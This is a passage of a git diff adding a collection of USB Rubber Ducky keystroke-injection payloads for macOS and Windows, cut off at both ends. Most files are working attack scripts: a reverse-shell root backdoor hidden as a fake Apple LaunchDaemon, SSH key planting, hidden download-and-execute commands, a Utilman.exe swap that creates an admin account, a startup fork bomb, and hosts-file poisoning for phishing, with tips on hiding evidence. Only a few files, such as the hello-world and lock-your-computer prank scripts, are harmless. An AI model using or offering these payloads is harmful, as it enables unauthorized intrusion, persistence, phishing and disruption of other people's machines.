milliseconds * 10) to wait between each subsequent command. DEFAULT_DELAY must be issued at the beginning of the ducky script and is optional. + DEFAULT_DELAY 100 + REM delays 100ms between each subsequent command sequence + +* DELAY creates a momentary pause in the ducky script. + DELAY 500 + REM will wait 500ms before continuing to the next command. + +* STRING processes the text following taking special care to auto-shift. + GUI r + DELAY 500ms + STRING notepad.exe + ENTER + DELAY 1000 + STRING Hello World! + +* WINDOWS or GUI emulates the Windows-Key: + GUI r + REM will hold the Windows-key and press r + +* MENU or APP emulates the App key, sometimes referred to as the menu key or context menu key. On Windows systems this is similar to the SHIFT F10 key combo. + GUI d + MENU + STRING v + STRING d + +* SHIFT: unlike CAPSLOCK, cruise control for cool, the SHIFT command can be used when navigating fields to select text, among other functions. + SHIFT INSERT + REM this is paste for most operating systems + +* ALT key is instrumental in many automation operations: + GUI r + DELAY 50 + STRING notepad.exe + ENTER + DELAY 100 + STRING Hello World + ALT f + STRING s + REM alt-f pulls up the File menu and s saves. + +* CONTROL or CTRL: + CONTROL ESCAPE + REM this is equivalent to the GUI key in Windows + +* Arrow Keys: ^ Command ^ | DOWNARROW or DOWN | | LEFTARROW or LEFT | | RIGHTARROW or RIGHT | | UPARROW or UP | + + +Compiling +========== + +Ducky Scripts are compiled into hex files ready to be named inject.bin and moved to the root of a microSD card for execution by the USB Rubber Ducky. + +This is done with the tool duckencoder. + +duckencoder is a cross-platform command-line Java program which converts the Ducky Script syntax into hex files. + +For example on a Linux system: + +java -jar duckencoder.jar -i exploit.txt -o /media/microsdcard/inject.bin + + +Simple Ducky Payload Generator +============================= + +Also a good option. +https://code.google.com/p/simple-ducky-payload-generator/downloads/list + + +Wiki +==== +https://code.google.com/p/ducky-decode/wiki/Index?tm=6 \ No newline at end of file diff --git a/Rubber_Duck/bt3gl/duckencode.jar b/Rubber_Duck/bt3gl/duckencode.jar new file mode 100644 index 0000000..fd1bbef Binary files /dev/null and b/Rubber_Duck/bt3gl/duckencode.jar differ diff --git a/Rubber_Duck/bt3gl/osx/dns_poisoning.txt b/Rubber_Duck/bt3gl/osx/dns_poisoning.txt new file mode 100644 index 0000000..f715224 --- /dev/null +++ b/Rubber_Duck/bt3gl/osx/dns_poisoning.txt @@ -0,0 +1,49 @@ +REM SWISA +REM A script to create a local DNS entry in the host file of a mac. +REM change the example.com to any site you want. +REM change the 127.0.0.1 to any ip you want. +DELAY 1000 +STRING mount -uw / +ENTER +DELAY 2000 +ENTER +STRING nano /private/etc/hosts +ENTER +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +DOWNARROW +STRING 127.0.0.1 example.com +ENTER +STRING 127.0.0.1 www.example.com +ENTER +CTRL O +ENTER +CTRL X +STRING shutdown -h now \ No newline at end of file diff --git a/Rubber_Duck/bt3gl/osx/root_backdoor.txt b/Rubber_Duck/bt3gl/osx/root_backdoor.txt new file mode 100644 index 0000000..5ba304b --- /dev/null +++ b/Rubber_Duck/bt3gl/osx/root_backdoor.txt @@ -0,0 +1,78 @@ +Author - Patrick Mosca + +Boot into single user mode and insert ducky. This script will created a persistent backdoor as the root user. This payload was encoded with v2.4 on firmware duck_v2.1.hex. Change to your IP address or domain name and port number. + +A good tutorial on the payload here: patrickmosca.com/root-a-mac-in-10-seconds-or-less/ + +REM Patrick Mosca +REM A simple script for rooting OSX from single user mode. +REM Change mysite.com to your domain name or IP address +REM Change 1337 to your port number +REM Catch the shell with 'nc -l -p 1337' +REM http://patrickmosca.com/root-a-mac-in-10-seconds-or-less/ +DELAY 1000 +STRING mount -uw / +ENTER +DELAY 2000 +STRING mkdir /Library/.hidden +ENTER +DELAY 200 +STRING echo '#!/bin/bash +ENTER +STRING bash -i >& /dev/tcp/mysite.com/1337 0>&1 +ENTER +STRING wait' > /Library/.hidden/connect.sh +ENTER +DELAY 500 +STRING chmod +x /Library/.hidden/connect.sh +ENTER +DELAY 200 +STRING mkdir /Library/LaunchDaemons +ENTER +DELAY 200 +STRING echo ' +ENTER +STRING +ENTER +STRING Label +ENTER +STRING com.apples.services +ENTER +STRING ProgramArguments +ENTER +STRING +ENTER +STRING /bin/sh +ENTER +STRING /Library/.hidden/connect.sh +ENTER +STRING +ENTER +STRING RunAtLoad +ENTER +STRING +ENTER +STRING StartInterval +ENTER +STRING 60 +ENTER +STRING AbandonProcessGroup +ENTER +STRING +ENTER +STRING +ENTER +STRING ' > /Library/LaunchDaemons/com.apples.services.plist +ENTER +DELAY 500 +STRING chmod 600 /Library/LaunchDaemons/com.apples.services.plist +ENTER +DELAY 200 +STRING launchctl load /Library/LaunchDaemons/com.apples.services.plist +ENTER +DELAY 1000 +STRING shutdown -h now +ENTER +Catch the shell with netcat: + +nc -l -p 1337 \ No newline at end of file diff --git a/Rubber_Duck/bt3gl/osx/ssh_access.txt b/Rubber_Duck/bt3gl/osx/ssh_access.txt new file mode 100644 index 0000000..9dd890b --- /dev/null +++ b/Rubber_Duck/bt3gl/osx/ssh_access.txt @@ -0,0 +1,53 @@ +This script adds an ssh public key to the authorized_keys file on a target's mac. After running you can connect to the target computer with ssh targetuser@targetcomputer and you will be granted access without a password. This a good alternative to the OS X User Backdoor payload. There are methods you can use: the web server method, and the twin duck method. The web server method requires you to have a web server (that the target can connect to), and you also must put your id_rsa.pub on your webserver. The twin duck method requires you to have the Twin Duck firmware flashed onto your ducky, and your id_rsa.pub needs to be at the root of the sd card. Also you need to name your ducky's sd card DUCKY. For more information on generating an id_rsa.pub read this (steps 1 & 2). Note: I reccomend you use duckencoder 2.6.3 to encode these payloads. + +Webserver Method + +Replace SERVER with the address of your webserver. + +REM Title: OS X Get SSH access +REM Author: Jesse Wallace (c0deous) +REM This script adds a ssh public key to the authorized_keys file on a target's mac. + +DELAY 1000 +COMMAND SPACE +DELAY 500 +STRING Terminal +DELAY 500 +ENTER +DELAY 800 +STRING curl http://SERVER/id_rsa.pub >> ~/.ssh/authorized_keys +ENTER +DELAY 1000 +STRING killall Terminal +ENTER + +REM Note: you may shorten the times if you think they are too slow. I made them to accommodate older macs that can't get around very fast. + + +Twin Duck Method + +Requires the Twin Duck firmware to work. Instructions for flashing the firmware can be found here. After installing the firmware you need to rename the sd card to DUCKY. + +REM Title: OS X Get SSH access (twin duck version) +REM Author: Jesse Wallace (c0deous) +REM This script adds the public ssh key of your attacker computer to the +REM authorized_keys file in the computers ~/.ssh directory. + +DELAY 1000 +COMMAND SPACE +DELAY 800 +STRING Terminal +DELAY 500 +ENTER +DELAY 500 +STRING cat /Volumes/DUCKY/id_rsa.pub >> ~/.ssh/authorized_keys +ENTER +DELAY 250 +STRING diskutil unmount /Volumes/DUCKY +ENTER +DELAY 800 +STRING killall Terminal +ENTER + +REM Note: you must quickly unplug your ducky as soon as this is done because if you wait too long it will remount the mass storage and when you disconnect +REM it from the computer it may corrupt the sd card (this has happened to me before) \ No newline at end of file diff --git a/Rubber_Duck/bt3gl/osx/wget_execute.txt b/Rubber_Duck/bt3gl/osx/wget_execute.txt new file mode 100644 index 0000000..ba6b0e6 --- /dev/null +++ b/Rubber_Duck/bt3gl/osx/wget_execute.txt @@ -0,0 +1,24 @@ +REM Title: OS X Wget and Execute +REM Author: Jesse Wallace (c0deous) +REM Simple script that downloads any file and runs it. +REM Requires duckencoder 2.6.3 which can be downloaded at http://goo.gl/QkTXNp +REM Note: you must put in your own specific code to execute + +DELAY 1000 +COMMAND SPACE +DELAY 800 +STRING Terminal +DELAY 500 +ENTER +DELAY 500 +STRING curl http://SERVER/path/to/file > file +ENTER +DELAY 1000 +STRING INSERT COMMAND TO EXECUTE HERE +ENTER +REM You can chage the above line to the command used to open your program. + +REM Examples: python somescript.py , ./somescript.sh + +REM Note: This script doesn't delete the downloaded file so it may leave evidence of physical access. Delete it as quickly as possible after this runs. +REM Or alternatively you could hide it somewhere in a hidden folder where it won't be easily found. \ No newline at end of file diff --git a/Rubber_Duck/bt3gl/windows/create_adm_account.txt b/Rubber_Duck/bt3gl/windows/create_adm_account.txt new file mode 100644 index 0000000..57056da --- /dev/null +++ b/Rubber_Duck/bt3gl/windows/create_adm_account.txt @@ -0,0 +1,93 @@ +Uses the Utilman.exe Exploit to create a new local administrator account “Local000” with the password “hak5”. + +REM Author: Xcellerator +REM Description: Utilman Exploiter to create a new Admin Account +REM The new account will be called "Local000". +GUI +DELAY 50 +STRING cmd +MENU +STRING a +ENTER +LEFT +ENTER +DELAY 200 +STRING takeown /f "%systemroot%\System32\Utilman.exe" +ENTER +DELAY 50 +STRING icacls "%systemroot%\System32\Utilman.exe" /grant administrators:F /T +ENTER +DELAY 50 +STRING cd %systemroot%\System32 +ENTER +DELAY 50 +STRING mkdir util +ENTER +STRING xcopy cmd.exe util\ +ENTER +DELAY 50 +STRING ren Utilman.exe Utilman.exe.bak +ENTER +STRING cd util +ENTER +DELAY 50 +STRING ren cmd.exe Utilman.exe +ENTER +DELAY 50 +STRING cd .. +ENTER +DELAY 50 +STRING xcopy util/Utilman.exe \ +ENTER +DELAY 50 +STRING rmdir /s /q util +ENTER +DELAY 50 +STRING exit +ENTER +DELAY 50 +GUI u +STRING net user Local000 /add +ENTER +DELAY 50 +STRING net localgroup administrators Local000 /add +ENTER +DELAY 50 +STRING exit +ENTER +DELAY 50 +GUI r +STRING cmd +ENTER +DELAY 50 +STRING cd "%systemroot%\System32" +ENTER +DELAY 50 +STRING delete Utilman.exe +ENTER +DELAY 50 +STRING y +ENTER +DELAY 50 +STRING ren Utilman.exe.bak Utilman.exe +ENTER +DELAY 50 +STRING exit +ENTER +GUI +STRING cmd +MENU +STRING a +ENTER +DELAY 50 +LEFT +ENTER +DELAY 200 +STRING net user Local000 * +ENTER +STRING hak5 +ENTER +STRING hak5 +ENTER +STRING exit +ENTER \ No newline at end of file diff --git a/Rubber_Duck/bt3gl/windows/duck_downloader.txt b/Rubber_Duck/bt3gl/windows/duck_downloader.txt new file mode 100644 index 0000000..4c255dc --- /dev/null +++ b/Rubber_Duck/bt3gl/windows/duck_downloader.txt @@ -0,0 +1,35 @@ +Opens the command prompt (not as administrator) creates a VBscript to download a file from any URL. Downloads a file and executes it. Useful for downloading small .exe files from a web server and executing them. + +ESCAPE +CONTROL ESCAPE +DELAY 400 +STRING cmd +DELAY 400 +ENTER +DELAY 400 +STRING copy con download.vbs +ENTER +STRING Set args = WScript.Arguments:a = split(args(0), "/")(UBound(split(args(0),"/"))) +ENTER +STRING Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP"):objXMLHTTP.open "GET", args(0), false:objXMLHTTP.send() +ENTER +STRING If objXMLHTTP.Status = 200 Then +ENTER +STRING Set objADOStream = CreateObject("ADODB.Stream"):objADOStream.Open +ENTER +STRING objADOStream.Type = 1:objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position = 0 +ENTER +STRING Set objFSO = Createobject("Scripting.FileSystemObject"):If objFSO.Fileexists(a) Then objFSO.DeleteFile a +ENTER +STRING objADOStream.SaveToFile a:objADOStream.Close:Set objADOStream = Nothing +ENTER +STRING End if:Set objXMLHTTP = Nothing:Set objFSO = Nothing +ENTER +CTRL z +ENTER +STRING cscript download.vbs +ENTER +STRING +ENTER +STRING exit +ENTER \ No newline at end of file diff --git a/Rubber_Duck/bt3gl/windows/forl_bomb.txt b/Rubber_Duck/bt3gl/windows/forl_bomb.txt new file mode 100644 index 0000000..c268bc7 --- /dev/null +++ b/Rubber_Duck/bt3gl/windows/forl_bomb.txt @@ -0,0 +1,31 @@ +Description: Opens a command prompt as administrator with run, uses con copy to create fork bomb batch(if you don’t know what this is then see: http://en.wikipedia.org/wiki/Fork_bomb). Then saves the .bat file under the start up program folder and runs it the first time. + +CONTROL ESCAPE +DELAY 200 +STRING cmd +DELAY 200 +MENU +DELAY 100 +STRING a +ENTER +DELAY 200 +LEFT +ENTER +DELAY 1000 +STRING cd C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ +ENTER +STRING copy con a.bat +ENTER +STRING @echo off +ENTER +STRING :START +ENTER +STRING start a.bat +ENTER +STRING GOTO START +ENTER +CONTROL z +ENTER +STRING a.bat +ENTER +ALT F4 diff --git a/Rubber_Duck/bt3gl/windows/hello-world/example1/exploit.txt b/Rubber_Duck/bt3gl/windows/hello-world/example1/exploit.txt new file mode 100644 index 0000000..203e078 --- /dev/null +++ b/Rubber_Duck/bt3gl/windows/hello-world/example1/exploit.txt @@ -0,0 +1,9 @@ +REM open notepad and type a text +DELAY 3000 +GUI R +DELAY 200 +STRING notepad +ENTER +DELAY 200 +STRING Hello World!!! +ENTER \ No newline at end of file diff --git a/Rubber_Duck/bt3gl/windows/hello-world/example1/inject.bin b/Rubber_Duck/bt3gl/windows/hello-world/example1/inject.bin new file mode 100644 index 0000000..a7e1d02 Binary files /dev/null and b/Rubber_Duck/bt3gl/windows/hello-world/example1/inject.bin differ diff --git a/Rubber_Duck/bt3gl/windows/hello-world/example2/exploit.txt b/Rubber_Duck/bt3gl/windows/hello-world/example2/exploit.txt new file mode 100644 index 0000000..ad4381f --- /dev/null +++ b/Rubber_Duck/bt3gl/windows/hello-world/example2/exploit.txt @@ -0,0 +1,8 @@ +REM dowload and open an picture +DELAY 3000 +GUI r +DELAY 100 +STRING powershell (new-object System.Net.WebClient).DownloadFile('http://mariwahl.us/figs/sn.png','%TEMP%\CRAZY_IMAGE.png'); +DELAY 100 +STRING Start-Process "%TEMP%\CRAZY_IMAGE.png" +ENTER \ No newline at end of file diff --git a/Rubber_Duck/bt3gl/windows/hello-world/example2/inject.bin b/Rubber_Duck/bt3gl/windows/hello-world/example2/inject.bin new file mode 100644 index 0000000..c4d1771 Binary files /dev/null and b/Rubber_Duck/bt3gl/windows/hello-world/example2/inject.bin differ diff --git a/Rubber_Duck/bt3gl/windows/hide-cmd-window.txt b/Rubber_Duck/bt3gl/windows/hide-cmd-window.txt new file mode 100644 index 0000000..48644ff --- /dev/null +++ b/Rubber_Duck/bt3gl/windows/hide-cmd-window.txt @@ -0,0 +1,57 @@ +The following is an example of how to hide the command window below the bottom of the screen while typing in commands. The window movement part of the script can also be used on any other window. CMD.exe is also run with some command line flags for changing the appearance of the window to make it harder to view, and also a flag that turns on delayed expansion in the command prompt which allows for variable names to be called more than once in a line with no adverse effects. Ex… SET Something = Something + Something_Else + +REM Target: WINDOWS VISTA/7 +REM Encoder V2.4 +REM Using the run command for a broader OS base. +DELAY 3000 +GUI R +DELAY 1000 +STRING cmd /Q /D /T:7F /F:OFF /V:ON /K +DELAY 500 +ENTER +DELAY 750 +ALT SPACE +STRING M +DOWNARROW +REPEAT 100 +ENTER + +The following is an attempt to create a hide CMD window script that uses a key combo to run as administrator when UAC is turned on. +REM Target: WINDOWS VISTA +REM Encoder V2.4 +REM Purpose: Hide cmd window script that uses a key combo to circumvent UAC limitations. + +DELAY 3000 +CONTROL ESCAPE +DELAY 500 +STRING cmd /Q /D /T:7F /F:OFF /V:ON /K +DELAY 500 +CTRL-SHIFT ENTER +DELAY 1000 +ALT C +DELAY 750 +ALT SPACE +STRING M +DOWNARROW +REPEAT 100 +ENTER + +Other windows can be hidden also, as demonstrated in this powershell hide, get, and execute. + +REM Target: WINDOWS VISTA/7 +REM Encoder V2.4 +REM Using the run command for a broader OS base. +DELAY 3000 +GUI R +DELAY 1000 +STRING powershell (new-object System.Net.WebClient).DownloadFile('http://example.com/bob.old','%TEMP%\bob.exe'); Start-Process "%TEMP%\bob.exe" +DELAY 500 +ENTER +DELAY 750 +ALT SPACE +STRING M +DOWNARROW +REPEAT 100 +ENTER + +Windows can also be hidden on other sides of the screen ex… replace DOWNARROW with RIGHTARROW, LEFTARROW, UPARROW. \ No newline at end of file diff --git a/Rubber_Duck/bt3gl/windows/lock_your_computer.txt b/Rubber_Duck/bt3gl/windows/lock_your_computer.txt new file mode 100644 index 0000000..3f1de9b --- /dev/null +++ b/Rubber_Duck/bt3gl/windows/lock_your_computer.txt @@ -0,0 +1,81 @@ +REM Lock Me 0.3 - Script opens Notepad and types a message concerning locking the computer - by SurfKahuna (RJC) +GUI r +DELAY 200 +STRING notepad.exe +ENTER +DELAY 300 +STRING , ,\ ,'\,'\ ,'\ ,\ , +ENTER +STRING , ,\/ \' `' ` ' /| +ENTER +STRING |\/ | +ENTER +STRING : | +ENTER +STRING : | +ENTER +STRING | | +ENTER +STRING | | +ENTER +STRING : -. _| +ENTER +STRING : \ `. +ENTER +STRING | ________:______\ +ENTER +STRING : ,'o / o , +ENTER +STRING : \ ,'-----./ +ENTER +STRING \_ `--.--' ) +ENTER +STRING ,` `. ,---'| +ENTER +STRING : ` | +ENTER +STRING `,-' | +ENTER +STRING / ,---. ,' +ENTER +STRING ,-' `-,------' +ENTER +STRING `. ,--' +ENTER +STRING `-.____/ +ENTER +STRING \ +ENTER +ENTER +STRING I will learn to lock my computer. +ENTER +STRING I will learn to lock my computer. +ENTER +STRING I will learn to lock my computer. +ENTER +STRING I will learn to lock my computer. +ENTER +STRING I will learn to lock my computer. +ENTER +STRING I will learn to lock my computer. +ENTER +STRING I will learn to lock my computer. +ENTER +STRING I will learn to lock my computer. +ENTER +STRING I will learn to lock my computer. +ENTER +STRING I will learn to lock my computer. +ENTER +ENTER +STRING There, just like Bart Simpson. +ENTER +ENTER +STRING Please remember to lock your computer when you step away from your desk. +ENTER +ENTER +STRING Thank you. +ENTER +DELAY 100 +ALT SPACE +STRING x \ No newline at end of file diff --git a/Rubber_Duck/bt3gl/windows/phishing.txt b/Rubber_Duck/bt3gl/windows/phishing.txt new file mode 100644 index 0000000..f38b56d --- /dev/null +++ b/Rubber_Duck/bt3gl/windows/phishing.txt @@ -0,0 +1,42 @@ +Used for phishing, it add's an ip of your choosing to the hosts file on windows, so when the user types into there web browser for example www.facebook.com it instead of going to the proper ip it goes to the one in the host file your evil one. + + +REM ---[Start CMD as administrator]----------------------- +GUI +DELAY 50 +STRING cmd +DELAY 150 +MENU +DELAY 75 +STRING a +Enter +DELAY 200 +LEFT +ENTER +STRING cls +ENTER +REM ---[END]---------------------------------------------- +DELAY 300 +REM ---[Inject into the host file]------------------------ +STRING copy con inject.bat +ENTER +STRING SET NEWLINE=^& echo. +ENTER +ENTER +STRING FIND /C /I "[WEBSITE_ADDRESS]" %WINDIR%\system32\drivers\etc\hosts +ENTER +STRING IF %ERRORLEVEL% NEQ 0 ECHO %NEWLINE%^[EVIL_SERVER_IP] [WEBSITE_ADDRESS]>>%WINDIR%\system32\drivers\etc\hosts +ENTER +ENTER +STRING FIND /C /I "[WEBSITE_ADDRESS]" %WINDIR%\system32\drivers\etc\hosts +ENTER +STRING IF %ERRORLEVEL% NEQ 0 ECHO %NEWLINE%^[EVIL_SERVER_IP] [WEBSITE_ADDRESS]>>%WINDIR%\system32\drivers\etc\hosts +ENTER +CONTROL z +ENTER +STRING inject.bat +ENTER +REM ---[END]---------------------------------------------- +DELAY 200 +STRING exit +ENTER \ No newline at end of file diff --git a/Rubber_Duck/bt3gl/windows/phishing2.txt b/Rubber_Duck/bt3gl/windows/phishing2.txt new file mode 100644 index 0000000..e477b37 --- /dev/null +++ b/Rubber_Duck/bt3gl/windows/phishing2.txt @@ -0,0 +1,19 @@ +Payload will edit the hosts file to allow you to redirect web pages where you would like the user to go. + + +DELAY 2000 +ESCAPE +CONTROL ESCAPE +DELAY 400 +STRING cmd +DELAY 400 +CTRL-SHIFT ENTER +DELAY 400 +STRING cd C:\Windows\System32\drivers\etc\ +ENTER +DELAY 400 +STRING echo 64.149.122.94 www.test.com>>hosts +ENTER +DELAY 400 +ALT SPACE +STRING c \ No newline at end of file diff --git a/Rubber_Duck/bt3gl/windows/phishing3_dns_poising.txt b/Rubber_Duck/bt3gl/windows/phishing3_dns_poising.txt new file mode 100644 index 0000000..6fc8a58 --- /dev/null +++ b/Rubber_Duck/bt3gl/windows/phishing3_dns_poising.txt @@ -0,0 +1,23 @@ +The following is a local DNS poisoning attack that changes a hosts host file. The host will then be redirected to the website of your choice (IP Address), every time the user types in the given domain name in their browser. + +REM Author:ashbreeze96 and overwraith +GUI R +STRING cmd /Q /D /T:7F /F:OFF /V:ON /K +DELAY 500 +ENTER +DELAY 750 +ALT SPACE +STRING M +DOWNARROW +REPEAT 100 +ENTER +DELAY 50 +STRING ECHO. >> C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS +DELAY 50 +ENTER +DELAY 50 +STRING ECHO 10.0.0.1 ADMIN.COM >> C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS +DELAY 50 +ENTER +STRING exit +ENTER \ No newline at end of file diff --git a/Rubber_Duck/bt3gl/windows/pineapple_association.txt b/Rubber_Duck/bt3gl/windows/pineapple_association.txt new file mode 100644 index 0000000..1ec044d --- /dev/null +++ b/Rubber_Duck/bt3gl/windows/pineapple_association.txt @@ -0,0 +1,26 @@ + Downloads an xml file from pastebin (using Mubix’ powershell code) and the adds it to the wireless profiles using netsh. I used pastebin to keep the script small and quick. Cleans up afterwards – overall takes about 6-7 seconds. +Options: You might want to change the name of the access point, but you’ll need to upload your own xml. The delay after the powershell command might also need to be tweaked. +Teensy Version: http://pastebin.com/c9KSdNAe + +REM Brought to you by Xcellerator +DEFAULT_DELAY 200 +DELAY 3000 +GUI r +STRING cmd +MENU +STRING a +ENTER +LEFT +ENTER +STRING cd %TEMP% +ENTER +STRING powershell (new-object System.Net.WebClient).DownloadFile('http://pastebin.com/raw.php?i=8WsHSWdZ','%TEMP%\a.xml') +ENTER +DELAY 1000 +ENTER +STRING netsh wlan add profile filename="a.xml" interface="Wireless Network Connection" +ENTER +STRING del a.xml +ENTER +STRING exit +ENTER \ No newline at end of file diff --git a/Rubber_Duck/bt3gl/windows/powershell_wget.txt b/Rubber_Duck/bt3gl/windows/powershell_wget.txt new file mode 100644 index 0000000..8dd6ee5 --- /dev/null +++ b/Rubber_Duck/bt3gl/windows/powershell_wget.txt @@ -0,0 +1,13 @@ +Opens “RUN” box, throws power shell string, enter. Supports HTTP/S, and proxies. + +GUI r +DELAY 100 +STRING powershell (new-object System.Net.WebClient).DownloadFile('http://example.com/bob.old','%TEMP%\bob.exe'); Start-Process "%TEMP%\bob.exe" +ENTER + +Adding two words to this makes it possible to hide the powershell window as it downloads and executes. + +GUI r +DELAY 100 +STRING powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://example.com/bob.old','%TEMP%\bob.exe'); Start-Process "%TEMP%\bob.exe" +ENTER \ No newline at end of file diff --git a/Rubber_Duck/bt3gl/windows/run_exe_from_sd.txt b/Rubber_Duck/bt3gl/windows/run_exe_from_sd.txt new file mode 100644 index 0000000..8e66511 --- /dev/null +++ b/Rubber_Duck/bt3gl/windows/run_exe_from_sd.txt @@ -0,0 +1,151 @@ +The following is a payload I have been working on that waits until a drive labeled "DUCKY" is mounted. I have used some of midnightsnake's code in this payload. The name of the file that is run can be changed to .exe, I am just having it run a batch for testing purposes. The line that says "STRING START %myd%\myEXE.bat" is the line that executes the executable. + +REM Author: overwraith +REM Name: RunEXE.txt +REM Purpose: Run an executable file off of the SD card after it mounts. +REM Encoder V2.4 +REM Using the run command for a broader OS base. +DEFAULT_DELAY 25 +DELAY 3000 +GUI R +DELAY 1000 +STRING cmd /Q /D /T:7F /F:OFF /V:ON /K +DELAY 500 +ENTER +DELAY 750 +ALT SPACE +STRING M +DOWNARROW +REPEAT 100 +ENTER + +REM Change directories because System32 appears to be protected. +STRING CD %TEMP% +ENTER + +REM Make batch file that waits for SD card to mount. +REM Delete batch file if already exists +STRING erase /Q DuckyWait.bat +ENTER +STRING copy con DuckyWait.bat +ENTER +REM DuckyWait.bat +STRING :while1 +ENTER +STRING for /f %%d in ('wmic volume get driveletter^, label ^| findstr "DUCKY"') +do set myd=%%d +ENTER +STRING if Exist %myd% ( +ENTER +STRING goto :break +ENTER +STRING ) +ENTER +STRING timeout /t 30 +ENTER +STRING goto :while1 +ENTER +STRING :break +ENTER +REM Continue script. +STRING START %myd%\HelloWorld.exe +ENTER +CONTROL z +ENTER + +REM MAKE THE VBS FILE THAT ALLOWS RUNNING INVISIBLY. +REM Delete vbs file if already exists +STRING erase /Q invis.vbs +ENTER +REM FROM: http://stackoverflow.com/questions/289498/running-batch-file-in-background-when-windows-boots-up +STRING copy con invis.vbs +ENTER +STRING CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False +ENTER +CONTROL Z +ENTER + +REM RUN THE BATCH FILE +STRING wscript.exe invis.vbs DuckyWait.bat +ENTER +STRING EXIT +ENTER +The following is the batch file that is run after the "DUCKY" drive has been mounted. Everything is being run invisibly, so you will need to check for the existence of "Message.txt" which will probably be in "C:\Windows\system32". + +REM Message.txt +echo Hello Wolrd!!! +echo Hello World!!! > Message.txt +The encoders now support the repeat command, so should only be a problem if you are using an old encoder. Encoders also now support white space in the duck script, so functions have been separated with white space. + +The following is a newer version of the RunEXE from SD payload which uses googleknowsbest's method for finding the "DUCKY" drive, which is more portable than the previous version's method. This version should work on all current Windows versions. Ex... XP, Vista, and Windows 7. + +REM Author: overwraith +REM Name: RunEXE_V2.txt +REM Purpose: Run an executable file off of the SD card after it mounts. Uses googleknowsbest's slightly more portable method to find the "Ducky" drive. +REM Encoder V2.4 +REM Using the run command for a broader OS base. +DEFAULT_DELAY 75 +DELAY 3000 +GUI R +DELAY 1000 +STRING cmd /Q /D /T:7F /F:OFF /V:ON /K +DELAY 500 +ENTER +DELAY 750 +ALT SPACE +STRING M +DOWNARROW +REPEAT 100 +ENTER + +REM Change directories because System32 appears to be protected. +STRING CD %TEMP% +ENTER + +REM Make batch file that waits for SD card to mount. +REM Delete batch file if already exists +STRING erase /Q DuckyWait.bat +ENTER +STRING copy con DuckyWait.bat +ENTER +REM DuckyWait.bat +STRING :while1 +ENTER +STRING for /f "tokens=3 delims= " %%A in ('echo list volume ^| diskpart ^| findstr "DUCKY"') do (set DUCKYdrive=%%A:) +ENTER +STRING if Exist %DUCKYdrive% ( +ENTER +STRING goto :break +ENTER +STRING ) +ENTER +STRING timeout /t 30 +ENTER +STRING goto :while1 +ENTER +STRING :break +ENTER +REM Continue script. +STRING START %DUCKYdrive%\HelloWorld.exe +ENTER +CONTROL z +ENTER + + +REM MAKE THE VBS FILE THAT ALLOWS RUNNING INVISIBLY. +REM Delete vbs file if already exists +STRING erase /Q invis.vbs +ENTER +REM FROM: http://stackoverflow.com/questions/289498/running-batch-file-in-background-when-windows-boots-up +STRING copy con invis.vbs +ENTER +STRING CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False +ENTER +CONTROL Z +ENTER + +REM RUN THE BATCH FILE +STRING wscript.exe invis.vbs DuckyWait.bat +ENTER +REM STRING EXIT +REM ENTER \ No newline at end of file diff --git a/Rubber_Duck/bt3gl/windows/run_java_from_sd.txt b/Rubber_Duck/bt3gl/windows/run_java_from_sd.txt new file mode 100644 index 0000000..edeedff --- /dev/null +++ b/Rubber_Duck/bt3gl/windows/run_java_from_sd.txt @@ -0,0 +1,82 @@ +The following is another payload for running applications on Twin duck firmware from off your SD card automatically. This payload waits for the ducky drive to mount, then switches to the directory containing the Java payload, then launches the payload. I don't know how useful this will be, but it is here if you need it. This only runs on Windows systems, but should run on all current Windows thanks to some code written by googleknowsbest. Change "JavaApp" to the name of your application. + +REM Author: overwraith +REM Name: Java_Application.txt +REM Purpose: Run a java application off the ducky drive after it mounts. +REM Encoder V2.4 +REM Using the run command for a broader OS base. +DEFAULT_DELAY 25 +DELAY 3000 +GUI R +DELAY 1000 +STRING cmd /Q /D /T:7F /F:OFF /V:ON /K +DELAY 500 +ENTER +DELAY 750 +ALT SPACE +STRING M +DOWNARROW +REPEAT 100 +ENTER + +REM Change directories because System32 appears to be protected. +STRING CD %TEMP% +ENTER + +REM Make batch file that waits for SD card to mount. +REM Delete batch file if already exists +STRING erase /Q DuckyWait.bat +ENTER +STRING copy con DuckyWait.bat +ENTER +REM DuckyWait.bat +STRING :while1 +ENTER + +STRING for /f "tokens=3 delims= " %%A in ('echo list volume ^| diskpart ^| findstr "DUCKY"') do (set DUCKYdrive=%%A:) +ENTER +STRING if Exist %DUCKYdrive% ( +ENTER +STRING goto :break +ENTER +STRING ) +ENTER +STRING timeout /t 30 +ENTER +STRING goto :while1 +ENTER +STRING :break +ENTER +REM Continue script. +STRING %DUCKYdrive% +ENTER +STRING cd Java_Application +ENTER +STRING Java JavaApp +ENTER +CONTROL z +ENTER + +REM MAKE THE VBS FILE THAT ALLOWS RUNNING INVISIBLY. +REM Delete vbs file if already exists +STRING erase /Q invis.vbs +ENTER +REM FROM: http://stackoverflow.com/questions/289498/running-batch-file-in-background-when-windows-boots-up +STRING copy con invis.vbs +ENTER +STRING CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False +ENTER +CONTROL Z +ENTER + +REM RUN THE BATCH FILE +STRING wscript.exe invis.vbs DuckyWait.bat +ENTER +STRING EXIT +ENTER +If you are not containing this script and the application within a folder on the ducky drive, then remove this line: + +... +STRING cd Java_Application +ENTER +... \ No newline at end of file diff --git a/Rubber_Duck/bt3gl/windows/wallpaper.txt b/Rubber_Duck/bt3gl/windows/wallpaper.txt new file mode 100644 index 0000000..9dfc364 --- /dev/null +++ b/Rubber_Duck/bt3gl/windows/wallpaper.txt @@ -0,0 +1,33 @@ +Description: Minimizes all windows to desktop, takes screenshot, disables desktop icons, saves screenshot in %userprofile% and sets as 